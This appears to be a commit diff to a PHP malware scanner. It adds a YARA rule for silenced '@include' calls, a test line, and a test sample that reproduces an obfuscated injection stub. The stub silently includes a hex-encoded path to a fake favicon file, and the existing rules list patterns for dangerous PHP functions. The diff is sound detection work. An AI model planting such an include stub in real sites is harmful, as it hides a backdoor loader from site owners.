3 files changed +6
-0
lines changed Original file line number Diff line number Diff line change @@ -102,6 +102,7 @@ rule DodgyPhp
102
102
$ double_var = /\$ { \s * \$ { /
103
103
$ extract = /extract \s * \( \s * \$ _ (GET | POST | REQUEST | COOKIE | SERVER )/
104
104
$ reversed = /noitcnuf_etaerc | metsys | urhtssap | edulcni | etucexe_llehs / nocase
105
+ $ silenced_include = /@ \s * include \s * / nocase
105
106
106
107
condition :
107
108
(any of them ) and not IsWhitelisted
Original file line number Diff line number Diff line change
1
+ <?php
2
+ /*8a68d*/
3
+ @include "\x2fh \x6fm \x65/ \x77e \x62p \x6ce \x78x \x33/ \x70u \x62l \x69c \x5fh \x74m \x6c/ \x68i \x73- \x68e \x6d. \x6fr \x67/ \x5f_ \x4dA \x43O \x53X \x2fm \x6fd \x75l \x65s \x2fn \x6fd \x65/ \x66a \x76i \x63o \x6e_ \x31a \x33f \x384 \x2ei \x63o " ;
4
+ /*8a68d*/
Original file line number Diff line number Diff line change @@ -89,6 +89,7 @@ run_test real/exceptions.php '$eval_comment: eval/\*k\*/('
89
89
run_test real/nano.php ' $nano: $x\[f\]('
90
90
run_test real/ninja.php ' $nano: $x\[0\]('
91
91
run_test real/ninja.php ' $ninja: base64_decode(substr(getallheaders'
92
+ run_test real/include.php ' :$silenced_include: @include'
92
93
93
94
run_test undetected/smart.php ' 0x6:$extract:'
94
95
0 commit comments